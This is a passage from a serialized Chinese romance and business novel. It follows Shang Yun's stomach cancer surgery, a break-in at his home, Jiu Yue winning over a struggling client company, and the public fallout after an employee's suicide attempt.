尚云只觉胸口翻江倒海般难受,胃部剧痛无比,他的牙咬得格格作响。木信见状扶住站立不稳的尚云,“尚总,尚总......尚总你的药呢?放在哪我给你找。” 他眼睛紧闭强忍住痛苦,汗水顺着脸颊淌下来,指着掉落在地的手机,已经说不出一句完整的话。 “阿闲......在哪......” “尚总,顾不上了,你再不上医院就没命了!” 话刚落音,尚云突然喷出一口鲜血,书房里的地毯上顿时一片鲜红,然后栽倒在地上,昏迷不醒。 “尚总!”木信大惊,背起他往楼下冲。 外面不知何时已是暴雨连天,木信表情冷凝,油门一路踩到底,雨点飞溅。木信一向温和理智,情况再紧急也不会如此失态。可这时那差点漂飞的速度,似乎那是一种与死神抗衡的速度。 岑姨已经打了急救电话,说人已经送去医院,医生们在医院门口迎接。医护人员把尚云抬上病床迅速作了身体指症检查,又作了急救措施,手脚麻利的把尚云推进手术室。 抢救室门外,原本冷硬的气场此时更是阴沉冰冷。 雨下得昏天暗地,九月团队正在了解公司的运作流程与各部门的衔接方式,她无来由的心口一阵疼痛,她抚着胸口试图等疼痛缓过去。然而疼痛突然又转为绞痛,这种痛来得强烈而急促,她不得不蹲下身子。 “九月,你没事吧?”任聪扶住她。 九月!冥冥中,像是有人在呼唤她,那样凄伤,那样悲切。 疼痛像是魔鬼的尖爪,深深嵌进肌肉里,呼吸一下都疼得直抽气。直到魔鬼的尖爪松开,她趁机大口大口的喘息。 “你生病没痊愈还是什么原因,要不去看看医生?我送你。”任聪又说。 “刚才心口疼了一下,现在没事了。” “真的没事?你太拼了。” “我的身体我心中有数。没事,干活吧。”九月正色道,“我们能否在今年打开局面,就靠最近这几个大的项目了。如果顺利的话,年底之前会有一波新气象,所以万万不能有半点松懈。” 手术台上亦是紧张碌碌进行最佳治疗方案,一个多小时,手术室的大门终于打开。 木信见到医生,上前询问情况。“医生,他情况怎么样?” “病人已经脱离危险。” “谢谢医生。”木信松了一口气。 紧接着,又听医生说道:“他患有胃癌的事,你知道吗?” 第一百七十一章 尚云患癌 木信头顶炸了一道惊雷,“胃癌?”他只见过尚云经常服用一些胃病有关的药物。 “早在两年前他来急诊,结果检查出他有早期胃癌,那时他说工作太忙,先用药物控制。从诸多出血点来看,病情是拖了很长一段时间的。为了工作连命都不要,作为医生非常痛惜。无论如何不能再拖下去,要立即办理住院手续,安排手术。” “好,谢谢医生。”木信似乎还没从震惊中回过神来。 木信请了护工,照顾尚云,公司有事找他时好及时去处理。安排妥当之后,尚云幽幽醒转。 木信说了医生的建议,但他自己并不赞同现在动手术。他发出虚弱的声音:“现在不是好时机。” “尚总,公司的事情是忙不完的,根本没有真正的好时机。公司有那么多人扛着,你别操心,安心治病。”木信在这件事情上,没有听尚云的。 也许是没有力气与他争吵,便默许了。手抬了抬,让木信靠近,他轻轻道:“别告诉九月。” “我不会说。术前协议我来签字。”木信说。 尚云这才迷迷糊糊地又昏睡过去。 手术比较成功,胃部被切掉了三分之一。 也许是尚云身体底子好,也可能医术先进,他术后几天便精神回稳,开始关注公司的情况。 木信忙完工作,便来医院看看他。 尚云说道:“我之前跟你说过,彼得将在下月初加入我们团队,你最近比较忙,别忘了做准备。”西方人讲究仪式感,也是公司对他的重视。 “放心,忘不了,已经安排下去了。研发部有了他一定会轻松很多,再乐观一点我们原计划还有可能会超前完成。”木信笑道。 “没错,值得期待。”尚云精神状态还不太恢复,但面色却有了暖意。 想起同在医院里的关之洁,问道:“对了,关之洁怎么样了?” “她受了较严重的心理疮伤,仍是不肯见人,我已经让公司里平时跟她走得近的同事,陪着她,目前住在公寓里休养,专门有人定时送饭和水果之类的。” 尚云俊眉紧皱,“这个时候她可能会需要家人的陪伴,联系家人了吗?” “一直在联系,还没联系上。电话打通了无人接听。” 尚云说道:“给她请个心理医生疏导,以免造成长期心理阴影。” “我们请过了,她不愿意见人,反应过激,根本近不了身。”木信表示很无奈。 尚云在自己手机通迅录里翻找了一遍,发了一个电话号码给木信:“联系朱明,让他试试。” “警察那边怎么说?”尚云随口问道。 “警察那边已经立案,至今没有任何线索。女警员在陪护期间也问过一些问题,她除了哭,无法提供任何线索。” “就算能提供有限的线索,也不一定能怎么样。没用的。”他们很狡猾,去年九月被绑架,尚云被打的视频曝光,证据确凿,闹得那样凶,网上铺天盖地的声讨,也没能动他们分毫。可谓根深蒂固。“在绝境中爆发,才能换来侧目,以生命为代价,才能引起重视。” 木信心里一沉,理解尚云言下之意。 “这就是普世文化存在于世的意义,因为这个世界病入膏肓,黑暗永无止境,每个人头顶都悬着利剑。如果普世文化得不到普及,人人自危,毫无信任安全可言,只会逼着更多的人走入黑暗中,成为黑暗的一部分。”尚云看着木信,“任重而道远。” 后者点点头。“尚总是不是有计划了?” “九月有句话说的非常有道理,如果天底下的路变成污浊,那我们穿着崭新的白鞋就无路可走,无从下脚。只有主动滚一身泥,豁出去才能到达我们要去的远方。”尚云答非所问。 木信能听明白,却觉得他这不像回答自己的问题。 “等朱明安抚好关之洁之后,再做打算。现在先不谈计划。”尚云补了一句。“时间不早了,回去吧,我这里有人照顾。你留点时间多陪姗姗。” 木信走后没多久,尚云的手机忽然发出警报来。 他警惕地拿出手机,点开望月居的监控系统,发现有两个人找到监控死角闯入家中,并且屏蔽掉监控直奔二楼,在尚云和九月房间里翻找。 看起来轻车熟路。 他们不知道尚云做了一组明面上的普通监控,一组智能监控。而他们通过洋洋视线看到的则是普通监控,所以一进来就先解决掉这些监控。 望月居的智能监控系统是自动报警,这些天,岑姨每天除了打扫卫生,来医院送两趟烫粥之类的食物,其他时间都自由安排。 这个时间点正好是岑姨出去休息散步的时间。他打电话给岑姨,以免她现在回去遭受伤害:“岑姨,家里进了两个人,你别惊谎,监控系统自己报警了,你等我电话再回去配合警察调查。” 岑姨还是吓一大跳,忙不迭的答应。 两人听到警车笛鸣时,正在明月阁研究怎么开启那扇门,两人交流后放弃攻门,慌不择路逃走了。 他淡定的拨打岑姨电话,“现在你可以回去了,我将监控视频转发给你,你交给警察。” 尚云知道他们想寻找阿闲寄给他的资料,他已将复印件交给普世的律师顾问,原件的确在书房里。 看来,他们是有备而来,只是万万没想到书房的门做了特殊处理,不容易破坏,才没有得逞。 此时,九月那只猫有最大嫌疑。 按说洋洋漂洋过海也有那么多天了,却没见传来半点消息。 他拨通电话,试图弄清楚这件事。 “喂,维克,我空运给你的猫你收到了吗?” “猫?我没有收到来自外国的任何活物和物品。”维克刚睡醒。“我今天去查查。” “好,收到了给我电话,无论何时。” 尚云有一丝不好的预感,担心洋洋被劫了。一旦洋洋被检验出来,以科技手段很容易破译出来洋洋眼中的生物科技产品的出处。 因此,对方不会这么轻而易举让他们查验出来。 鉴于这一点,洋洋被托运之前,还特意给它笼子上罩上一层透气性好的黑布。不让它发现自己已经离开原住地,对方也就无从知晓。 如果这样还是被发现,那这个过程中哪个环节出了问题? 正这么想着,楼道里传来清脆脚步声,四个年轻人朝这边走来,三男一女。从打扮上看个个都身份不俗,一个身体稍胖的为首,后面跟着两个高挑个子,中间女孩捧着鲜花,衬得脸儿更是美艳动人。 正是金志高带着子腾他们来看望尚云来了。 门口站着两个护卫,是木信从训练场安排过来的。 “尚总怎么样了?我们来看看他。”志高说道。 “今天好多了。”其中一个护卫回道,“董事长正在休息,伤口还有些疼,你们别跟他聊太久。” “我们知道,辛苦了。”志高拍拍他们二人的肩膀,便打开门,四人都进去了。 第一百七十二章 查理入职普世 护卫倒是眼尖,瞧见金子玥端着一盒切好的水果:“金小姐,医生有交待说暂时不要给董事长吃水果,但可以喝鲜榨果汁。” 金子玥挑挑眉:“不能吃水果?那行,我打电话叫人送个榨汁机过来。” 说风就是雨,她掏出电话。 “那太麻烦了,楼下就有鲜榨汁机。”志高让子玥去买。 刁钻任性地金子玥在尚云面前一向乖巧,“行,我去买。尚云哥,你要喝哪种水果汁?” 尚云知道志高故意支使金子玥的,大概为上次的事情抱有歉意。他淡淡看了一眼志高,懒懒道:“那就苹果汁吧。” 金子玥得令出去了。 子腾几个问候尚云身体状况,开着玩笑感叹道,“平日就你锻炼最勤,连感冒都没有过。一生病就是癌,动辙就切掉器官。太惊人了。” “你老人家可得保重身体。别说以后管理方面要向你取经,就平时生龙活虎的才好找你一起喝酒。”单于说。 “话说你前段时间好好的,你这病不会是被我上次气出来的吧?”志高半开玩笑半道歉,“那我可就罪大了,我得用整个后半生来弥补。” “志高,你这厮又对尚云做了哪些不良行为?”子腾问道。 “去去去,我能对尚云做什么。” 尚云好笑地看着他们,听着他们你一言我一句七荤八素的瞎聊。“以后喝酒可能是喝不了了,喝茶倒是可以奉陪。” “不能显着你格格不入啊。”志高响应道:“从今往后,只要尚云在场,我也不喝酒了。一为与君子同志,二为保住这条小命长命百岁。” “那喝什么?” “枸杞加花茶。” “扑哧!”大家笑喷了。“志高你这养生未免着急了点儿。” 说着话,子玥提着一兜苹果和榨汁机进来了,“都在乐什么,老远就听到你们欢声笑语。” “辛苦了,子玥。”尚云笑道。 “应该的,平时尚云哥对我最好,做什么都应该。”子玥将洗净的苹果切成碎块去核丢进去,不一会儿就榨出一杯汁来。 子玥就要喂尚云,尚云拒绝了,让他们帮忙将病床摇高,自己一点点喝下去。 几个人又是一番说笑,实名羡慕尚云。 说笑归说笑,大家还是担心影响尚云身体,不好叨扰太久。 并没呆太久,几个人又一阵风似的离去。 9月初的时候,查理正式加入普世文化。 在融入总部研发部后,研发部的效率像是打通了任督二脉,功力蹭蹭上涨。 查理感叹普世同事的学习能力和领悟能力超强,举一反三的能力和懂得起底事物逻辑的能力无人能及。 因此,查理那札研究资料,虽然有的时间过长,大环境已经产生变仳,十几年前的成果,时过境迁不能完全照用。但普世的研发团队擅于抽丝剥茧,轻而易举提取精华,加以革新成为自己独特珐玛,运用到适用的客户中去。 正是这种模式,不断吸纳不断创新之后,普世文化在国外服务不断升级,从里至外华丽蜕变为国际化企业。 查理提供的研究成果加速了普世的发展。 但追根到底,普世文化有自己的文化内核,只是用更多元化的招式施展出去,决胜千里。国外市场终于打开,不断有捷报传来。 尚云的警惕丝毫不敢松驰,但令人安心的是,据说克普和雷默因为内战纷乱,早已无暇顾及普世在海外的发展,这才给了他长足发展的喘息时间。 克普的市场正在坍塌。 尤其在经济环境紧缩的时候,原来迫于无奈选择克普公司合作的客户,逐渐意识到他们并没有彻底解决掉根本的问题,公司也没有因为他们的介入而往好的方向发展,反而越来越恶劣。 克普的员工流动率频繁,客户已经找不到原来为自己服务过的团队成员,投诉也无济于事。派过来的新团队又得从头开始了解公司,重新诊断,给出大同小异的数据分析。 客户劳民伤财,彻度崩溃,有一位企业家失望之余,不禁在某媒体网站曝料,怒斥克普不负责任的行为。 更多的客户受商会震慑,虽然心有共鸣,却不敢发言支持。 然而九月却从中看到了机会。 她在媒体网站平台上私信这位企业主,但企业主似乎没有理会她的意思。方面是企业主确实很忙,公司的事已经叫他焦头烂额。一方面也没有心情去理会这种毛遂自荐的咨询公司。 九月可不会这么容易放过机会,她便独自一人前往企业主的公司。 如今互联网信息共享时代,找人很容易,找一家企业的地址就更加是分分钟的事情了。 九月驾着车,停在诺胜公司门口。 下车在门卫室登记,说自己接到业务员打电话推销产品,自己特意来公司看看真实情况。一听是客户,门卫室便一边给业务部门负责人打电话,一边开启自动门闸。 门卫室的值班人员在门外设置的露天圆型岗亭上站岗。亭上有一把太阳伞,安保人员则站在伞下面,九月的车驶进去时,三名安保人员齐刷刷敬了个标准军礼。 在公司园区停好车后,业务部门负责人也下来了,接到九月忙自我介绍,九月也简单自我介绍,便就诺胜的产品信息了解一番。 九月很有底气的表示,自己从某媒体了解到贵公司的处境,但她能叫诺胜起死回生,前提是一定要见老板。 业务部负责人心想这是多大的订单啊,答应带她去见路总,也就是诺胜的老板。 见到诺胜的路鸣放,他正在高声训斥一位高层管理,门没关,九月觉得难为情,悄悄退了出来,带上门。 等高层管理出来后,九月这才进去。 路总正在讲电话,大概是业务部负责任给他打的。所以,见到九月后,他马上歉然,一边连说让九月见笑,一边数落他们办事不力,居然犯低级错误。 九月笑笑,忍不住提醒。“路总是性情中人。但是,如果确实是他们做得不对或者犯了低级错误,要么了解事情根本原因之后,关起门来好好谈谈,要么就想办法提升他们的认知,如果认知跟不上去,可以勒令去学习。” 路鸣放本就是客气两句,没想到对方如此不给颜面,直接点出他的错误。他脸上顿时不悦,但由于业务部说对方是一个大客户,又是位女士,便忍了下来。 九月心知肚明他此刻在想什么,必须要先下手为强,让他认可自己,否则一旦知道她不是客户,便会被驱赶出门。她可是打听到路鸣放的脾气不太好,特别强势。 所以,她继续道:“特地打开大门训斥他们,第一会让高管丧失尊严,以后办事就大打折扣,你这是搬起石头砸自己的脚;第二让他们在下属面前没有威望,以后大概率指挥不动下面的人,公司不就乱了吗” 路鸣放想着这话也有些道理,但一时还是觉得面子上挂不住,笑得不太自然:“你可能还不知道,我这是军事化管理,要的就是不留情面的铁律。” 九月忍不住笑了两声:“要说军事化管理的成功,还没有人能比得过普世文化。但普世文化可从来不会这样做,相反,会给予相当高的人格尊重与精神呵护,哪怕对方是个清洁工。” “你此次来是合作?还是?”路鸣放没有耐性再斡旋下去,直接问道。 第一百七十三章 以退为进 “当然是合作,在媒体上看到路总的一番慷慨陈辞,我就想帮助路总。如果路总不相信我能够将诺胜起死回生,那么我这就离开。”九月起身。 “你为什么要帮我?”路鸣放警惕道。 “很简单,我见不惯克普如此糊弄人,搅乱市场,为了大肆敛财让企业弄得民不聊生。”九月站在他的立场批评克普,“所以,我反其道者行之,他们解决不了的问题,我们能解决,不仅解决,还要让贵公司长远发展,成为业内楷模。” “你不是所谓的客户?”路鸣放总算明白九月的来意。 “虽然不是客户,但同样能救你于水火。看来路总要将送上门的机会推掉了?”九月将名片放在他面前,装作不强求的姿态,“既然如此,那本人就此告辞,打扰了!” 她起步走向门外,路鸣放也不挽留。 九月心知他也在博弈,谁的损失大,谁会抢先做出抉择。路鸣放此刻便是弱势方,想到这里便大步离开,步子很决绝,没有半分含糊。 走至停车场,看到门卫走过来跟她说道,“请留步,我们路总有请。” 这次,路鸣放将九月请至公司后院。 没想到,偌大一个工业园,后面竟有一个庭院,庭院里种满了四季果蔬和花草,泉水叮咚,亭台楼榭,长廊连着两排古色古香的中式风格房子,很有古典风味。连九月这么淡泊的心性来到这里也心旷神怡。 路鸣放自毫的介绍道:“这是我专门招待贵客的地方,一般不会让人进来。” 穿过长廊,两人在布置高雅、绿植清香的玻璃全景房里坐下,玻璃房里设置都是高端先进的科技,全自动化。 一按开关,原来的中式摆设移了位,换了角度与拼接,马上呈现出现代范,四面玻璃上突然波光粼粼,流水缓缓,让原本透明的玻璃墙具有隐蔽性。 “嗯,现在可以安然谈事。”路鸣放邀请九月坐下来,自己拿出珍藏的茶叶和器具,很有讲究的一道道茶序,演绎茶功夫。 一盏茶的功夫,路鸣放如数家珍,讲解花园的设计与创意,每一个开关起到的作用,每一处风景的寓意和层次美。九月是个很好的倾听者,配合地点头,微笑,由衷赞赏。 路鸣放意犹未尽,“这个庭院光维护每年都要花掉十几二十万,可惜,经济不景气很多年了,公司也一年年走下坡路,我也没了闲情雅致,有时半年也难得来一次。” 他叹了口气,继续道:“请了克普公司来帮助公司,但前前后后费了人力财力不说,也浪费了大量精力。但一点没见好,表面上解决了问题,后面留下大堆更烦人的后遗症。 为公司我已经是殚精竭虑,可依然不见好。普世文化如今闻名遐迩,说到军事化管理,刚才我训斥管理者一事,你所提的建议,我细想了一下,觉得你说的有道理。” 见路老板把软话说到这份上,九月便顺着台阶引导他,“看得出来路总在各方面都舍得投入资金,一心想把公司做大做强。但有时候有心栽花花不开,事情很难如人意。也不一定是事情做错了,而是着力点错位。” “着力点错位?愿闻其详。” 九月借力打力,表述道:“刚才路总露了一手泡茶功夫,这茶的味道确实不同凡响,我想就算是普通茶叶,经过这么极致到位的茶序,味道也不会太差。因为你很清楚,自己的每一道茶序存在的价值,在于让茶的味道很醇厚,绵长,色、香、味达到顶点。 凡事只需知道原理就好办,引进文化系统也是一样,所做的一招一式都是为了凝聚人心。我从一开始就没觉得军事化文化管理有什么不好,相反,军事化管理倒是一门值得研究的管理方式,普世无疑是一个成功的案例。企业确实可以考虑拥有令行禁止、军令如山的执行力,没有规矩不成方圆嘛。 关键在‘心服’,如果不能服众,这项文化就成为整个公司发展的最大障碍,也是最大的沉没成本。像今天这样开门训斥管理层,如果我猜得没错,公司的离职率应该相当高。” 路老板点点头,“离职率确实高,前段时间还在开会商讨怎么留人。但我骂的是管理,离开公司的都是其他岗位的。” “这个问题很简单。打个比方,你今天打开大门责骂的人是我,我心情低到谷点,我就没有心情工作,也没有耐心对待那些工作中需要往来的跨部门伙伴,或者商讨方案或者犯了小错误的下属,我看谁都不顺眼,容忍度极低。 因为我的情绪需要得到发泄,就跟‘踢猫’的故事中描述一样。老板骂了管理,管理骂职员,职员骂妻子,妻子骂儿子,儿子一气恼,遇见一只猫,狠狠踢了一脚。 恶劣情绪就这么一级一级地往下传递,倒霉的会是谁呢?” 倒霉的是猫,也就是职场中的弱势底层,离职的也当然会是他们。就算不离职,也难免带着情绪工作,想要他们在那样的情况下把事情做到尽善尽美,几乎不可能。 路老板心里明白了几分。他问道:“依你看,公司应该把军事化文化换掉还是?” 九月见路老板恍然大悟的样子,又说:“换掉倒大可不必。公司的文化制度一换再换,员工被折腾久了,什么文化都难以塑立。只需稍微调整一下,把文化中的强硬因素更改成情感参与就行。 只要你愿意相信我,一切困难都是有办法解决的。到时你是否介意用上这座庭院?保证让它发挥超高价值。” 见九月已经有了思路,路老板连高兴地答应下来:“这都是小事,只要公司能好起来,这都是小事。” 九月跟路老板达成协议,过几天就来签合同做初诊。 七天后。 天气依然没有转晴的意思。淅淅沥沥下着雨,飘着雨雾的天空,一片阴霾。 木信走进病房,独伫于窗前的人,只定定看着室外雨景,挺拔的背影沉稳而寂寥。 住院已经七天,这期间,尚云开始慢慢处理一些公事。大多数时间就是站在窗前看着室外。 两个护卫已经撤掉,护工也撤了。 如松针般的雨丝下得没完没了,他醒来后,又站在窗前了。 木信知道他不是闲情逸致欣赏风景,他沉默的时候,要么在想着公司的大小事务,要么在思考克普最近一切动作背后的动机。 他总是下一步棋想三步,保证自己的决策至少具有三个出口方案。 “尚总,站久了不利于伤口复元。”木信提醒。 尚云转身,问道:“关之洁怎么样了?” “好多了,依然在静养。”木信问道,“尚总有什么吩咐。” 他走过去,跟木信耳语道:“你跟关之洁去谈谈心,如果想要将坏人绳之以法,就配合公司为她讨会公道。” 第一百七十四章 九月奔赴医院 接着,尚云说了一个计划,其实很简单,易理解。 木信明白后,心照不宣。 尚云又说起诺胜公司的路鸣放在某平台上的言论,“木信,你可以派我们的国内顾问去联络路鸣放。” “之前我们的工作人员尝试联系过,一律不见。对咨询公司有抵触情绪。”木信说道。 “常规渠道不行,就再想想其他办法。” “不用了。”木信说道。 “什么不用?” 木信笑了,一脸轻快:“九月拿下了。我看了她的报表。” 尚云先是惊讶,随即也笑了,“九月的嗅觉和机敏程度很适合开辟市场,国内冰冻的市场就靠她这支主力军作为剑锋去一点点凿开了。” 正说着话,严教官的电话打了过来。 “严,怎么了?” “老板,你好些了吗?” “差不多痊愈了,有事请说。”尚云知道他不是来询问病情这么简单。 “九月回宝宁了。她好像已经知道你手术的事情了。”严教官说道,“现在高速路上,我在后面跟着。” “好,我知道了。”尚云挂了电话,叫木信回去。 九月赶到医院,像一阵风飘到病房,急急推开门,携进来一股微冷夹杂着她的呼吸的疾风。见到他的瞬间,像是一锅沸腾的水逐渐趋于平静。 见她微喘的气息,尚云坐在床边,将手中的书放下,浅笑着开玩笑:“你是从姜城一路跑过来的吗?我都闻到姜城的泥土味了。” 她站在那里,咬着嘴唇笑。像是想哭,却又极力憋着眼泪的样子。 他站起来,微笑着朝她伸出双手。 九月将门关上,慢慢走过去小心翼翼的抱住他:“还疼吗?” “看到你就不疼了。” “在你最疼的时候,谁在你身边?”她哽咽着问。 “好多人,医护人员,护工,木信,还有你。” 她将眼泪擦在他的病服上,“你是要让我内疚吗?” “我说的是真的。那几天闭上眼睛就是你的身影,我觉得你一直在我身边。”尚云低喃道。“不用内疚,是我让木信不要告诉你,怕你担心。” 九月松开他,解开他的衣服。 “你要做什么?”尚云笑道,下意识朝门口望了一眼。 九月单纯想瞧瞧伤口:“我看看。” 伤口贴着纱布和药膏,九月轻轻撕开一个缺口,看到狰狞如蚯蚓般的伤痕,结着黑色的血痂。她鼻头发酸,仿佛感受到柳叶刀切开一层又一层肌肤的痛感。 默默地又按原来的模样给纱布合上,轻轻贴回去。 “十天前,我跟任聪在驻厂深诊,那天上午突然心口一阵绞痛。痛得我喘不过气来。”九月说,低着头替他将衣服扣上,泪滴在手上。 尚云脸色微变,十天前上午,正好是他在书房吐血的那天。原来世上真有心灵感应的奇事。 “我是说,你以后什么事都不用瞒我。”九月含泪仰头看着他,用手指指自己的左胸:“这里都知道。” “好。以后不会了。”尚云握住她的手,放在唇边一吻。 胡茬扎在她手上,她说:“我帮你把胡子刮掉。” 她让他躺下,木信给他准备的日用品一应俱全。她去取来递须刀,用毛巾在他脖子上围了一层,抹上剃须膏,便不太熟练地替他刮胡子。 她跟他说起团队的变化:“任聪成长最快,基本可以独立诊断,而且很精准。思考解决方案的功夫也不差,是一个好苗子。” 他眯着眼睛“嗯”了一声。 “书生的成长也很大,主要是他自己愿意进取,有时没有任务,他也会自己编故事,当初在海量就主动要求编剧本。上进心很强。” “嗯。”他睁开眼看了看她,柔婉的面庞很清秀,也很平和,听她讲述团队成员特点如数家珍。 “老欧的执行力最强,理解能力很强,事事都完成得很漂亮。方仔和干周沟通和人际方面最拿手,他们都有自己的特长,所以这个团队优势互补,效率不很一般的高。” 尚云没法说话,眼睛一瞬不瞬望着她,目光温柔得能犹如一江春水。 她也不看他的眼睛,专注盯着自己手中的刀片,小心翼翼怕刮伤肌肤:“当初还担心自己带不好这支团队,却没想到,他们有如此强大的潜力。跟着我东奔西跑,风餐简宿,从不叫一声苦,每天将工作当成打怪升级,形象地比喻成我们是打怪霹雳队,可开心了。” 刮完胡子,她拧了毛巾替他擦干净。瘦是真瘦了,但清清爽爽还是一张俊脸。她舒心地笑了:“好了,我恢复了你的绝世容颜。” “听说你攻下了诺胜公司?”尚云愉悦地看着她。 “对,签下来了。” “怎么做到的?” “他在官方平台上发了言论出来,我就给他留了两次私信。他没理会我。第三次我就自己跑去诺胜公司,伪装成业务部联络过的客户,去他公司找业务部负责人谈业务,趁机要求见到诺胜老板。” “老板不好糊弄吧?据说他性格古怪,脾气暴躁。” “是不好糊弄,所以我先发制人,在他发脾气前我先给了他一些中肯提议。”九月补充说,“当然,我不会盲目去挑战对方的耐性,我知道他在乎什么,在最短时间内我展现出他想要的东西而已。知己知彼,百战百胜。” “真庆幸你不是普世的对手。”尚云神色有点小骄傲。 “没办法,这个客户我们必须拿下。”九月耸耸肩,说道:“这种条件下,我们不能循规蹈距,有时是需要走不寻常路线的。我有预感,等这个案例成功,普世在国内市场就真正的破冰了。因为,克普那边的客户也渐渐暴露出问题。这样的对比冲击,任何人都会反思谁才是正确的选择。创业不易,多少人的身家都系在了自己苦心经营的企业上。他们没有退路,商会威胁不了他们了。” “同感。”尚云握着她的手,传来微凉的触感。“冷吗?” 九月摇头。 两人有一搭没一搭的聊天,九月怕他休息不好,给他点了吃的,便早早催着他睡着了。 她起身的时候,试图将自己的手从他手里抽出来,没想到他握得很紧。 她以为他醒着,便贴着他的面颊叫道,“尚云,睡着了吗?” 以前他警惕性高,稍微有一点动静他便醒了。自生病后机体能量很低,也因此睡得很沉。 “把手放进被子里面,当心着凉。”她哄着他,终于松开手。 九月趁机出去了。来的时候,在医院门口看到莫诚和琳达匆匆往里面走,她当时着急见尚云就没细究。现在想来,应该是小竺要生了。 无论如何,将近十年的姐妹情,她还是无法当作陌路人。出去了一趟,回来时不自觉便已来到五楼,稍微跟护士站打听了一下,便知道小竺的产房。 从门上的玻璃隔层,看到小竺略微发胖的脸堆着疲倦,此时已经睡着。莫诚不在产房,琳达则坐在一旁守护着刚产出的婴儿。 第一百七十五章 小竺产子 孩子眼睛还睁不开,偶尔啼哭两声,表达对这个新世界的恐惧,琳达轻摇着小床哄着他。 “九月。” 她听到身后有人喊了一声。 回头看到莫诚提着保温饭盒和一袋子婴儿用品,月嫂在后面拉着一个拉杆箱:“进去吧。” “不了。我只是巧遇,看看就走。”九月塞给莫诚一个大红封,“这是我对宝宝的一点心意。” 莫诚拿着沉甸甸的红封,起码有两万块钱,不禁惊讶。 见她转身就走,莫诚把东西放在门口,就追上去。 “九月。”莫诚拉住她,微喘道:“谢谢你能来。上次小竺让我去警署捞人,我才知道你因为隐瞒了小竺犯的错,所以被关押了24小时。但后来我去了警署,看到尚总的车在那里,我就没进去了。虽然你不愿意跟我们过多接触,其实你心里依然有往昔的情分。小竺曾经有你这么好的朋友,是她的福分。” “上次我不是为了她,是为了保护她肚子里的孩子。”九月淡淡道:“关之洁经历那件事,留下心理疮伤,以后还不知道会怎样。” 莫诚自然是知道的,“我也听说了,这件事是小竺做错了。” “你回去吧,我走了。”九月不想再聊,疾步离去。 莫诚回去的时候,小竺已经醒了,看起来有些虚弱。 琳达在给她喂汤,月嫂则在哄孩子。 “你刚才在外面喊谁?”琳达问。 “是九月。”莫诚扬了扬手中的大红封,“我们来的时候,她就站在门口。塞给我这个,说是给宝宝的一点心意。” “走了?”琳达惊讶地说。 “走了。”莫诚回道,看了一眼小竺,小竺目光中闪现一抹复杂神色。 小竺咽下母亲喂过来的汤,说道:“喝不下了。帮我把手机拿过来。” “你刚生了孩子,工作的事交给下面的人去......” “我的手机拿过来,妈。”小竺不耐烦的打断母亲的话。 琳达终于生气了,顾及到孩子在房间里,压低声音说道:“小竺,这个时候你能不能看看你的孩子,能不能考虑自己的身体?工作再重要,比得过自己的身体和孩子吗?” “你当初又好到哪里去?凭什么说我?”小竺简短的反驳道。 空气陷入静谧。 月嫂很有眼力见,见氛围不对,就推着宝宝出去,说宝宝该洗澡了。 琳达周身紧崩的气势就要勃然大怒。良久,她放弃了这样的对抗,语气平缓而低沉:“我刚生下你那会,发现你爸爸在外面的事情,争执中他对我动用武力。那时你还没有足月。从那之后,他稍不顺心就对我大发脾气。我也是在那时患上产后抑郁症,在你一岁半的时候,曾经抱着你差点从楼顶跳下来,被秦妈发现。 后来你爸爸就请了奶妈,不让我碰你。就算我想跟你接触,也不能离开大家的视线范围。直到你两岁多,我觉得这样的婚姻生活毫无意义,一潭死水。便决定出国。 后面的事情你都知道了,上次我也跟你解释过为什么选择莫诚去国外,而不是你。如果你心里固执地认定我不爱你,那我如今出现在这里就是一个笑话。” “对不起。我不知道......”小竺第一次听母亲谈起过往,她想像不到独立强大的母亲,竟有如此悲惨的遭遇,“我错怪你了。” “我爱工作,但更爱你们兄妹。”琳达动情地说,“对一个母亲来说,世界上没有什么能比得过,从自己身体里剥离出来的孩子。” 小竺无声的哭了。 琳达忙取来纸巾给她擦眼泪,“你现在正坐月子,是不能掉眼泪的,以后会落下病根。听话。” “妈,你知道吗?雷默集团现在已经失控,林作杰拉笼大部分股东,就像当初对付你一样,又用这一招来对付我。幸好我在雷默有两个心腹,还不至于马上失势。他一直想趁我生孩子期间代理董事长一职,我没同意。我必须保证时时刻刻在线,如果连续一个月不管公司,很难说雷默集团姓林还是姓箫。” “你的被动是克普造成的。”琳达一针见血:“当初你大手笔投资克普就是一个隐患,如果用心经营好克普还有胜算,但克普完全没有从这方面着手。 你一边打压普世,一边仿照普世的策略,抄袭他们的技术,抢夺他们的客户。 人员流动率胜过菜市场人员流通率,管理者比员工还多,发号施令的人太多,很多员工面临多头上级,有时左右摇摆不知该听谁的。 专业程度不加进取,只在形式上拷贝。请来的真正专业顾问,没有发言权,反而在公司生存不下去。 如今,克普连连亏损,气数已尽。当初我就让你别接手,你没听我的。林作杰野心勃勃,他早就想将雷默纳入囊中,更有理由把全部罪责推至你身上,你难辞其咎。” 终于意识到自己当初的错误决策,小竺向她求助:“那我现在该怎么办?” “短尾求生,缩小经营。”琳达说了八个字。 小竺重复了一遍这短短八个字,想要短尾求生,只怕会不那么容易。 克普公司有雷默各个股东的耳目,他们安排的人手都占据重要岗位。如果要裁员,只会裁掉那些没有丝毫背景的人,这无异于更大的灾难,因为那样就没有去做事的人了。 必须先裁掉没能产生价值收益的人,哪怕会在雷默股东会议上产生震荡,也必须要这么做。 小竺委托琳达代替自己去执行,重新整顿克普。 第二天。 天终于放晴。 九月跟尚云共享早餐后,终于恋恋不舍地离开了宝宁,回到她自己的战场。 她一走,尚云顿觉内心空了一大块。 费了好大功夫,他才平复帐然若失的情绪。执起电话,跟木信说来接自己出院。 他也该披上战袍,回去他的主战场了。 就在尚云还未回到普世总部时,传来一则让世人震惊的消息:“普世公司员工受到不明势力侵害,不堪受辱消沉多日终自杀!”血腥的配图更是让人触目惊心。 普世人以及外界均因此事纷纷扰扰,警方进行了深度调查,心理医生和医院共同抢救下,如今受害者仍昏迷不醒,生死难料。 九月刚回到姜城,就看到这则消息,她目瞪口呆地看着这则新闻,难以置信。 第一百七十六章 尚云向社会发声 九月打电话给尚云时无人接听,作为普世创始人的尚云当时正在召开了新闻发布会。 他病容清癯,发出沉痛号召,泣之如血,诉之以诚:“今天发生的不幸,大家都在关注。但是,希望大家不要停留在关注,像上次普世另一名员工被绑架,我本人也受到袭击一样,沦为谈资,仅此而已。 普世之殇,关之洁之劫,都来自社会的不稳定性,来自社会暗处熬得滚烫的溶液溢出,我们做为社会一员,有亲人要守护,有后代要长存于世。我们不知道下一次这种事会落在谁的头上。 发生今天这样的事,不是偶然,是无数次被姑息,无数次被纵容出来的必然事故。普世责无旁贷,社会亦责无旁贷! 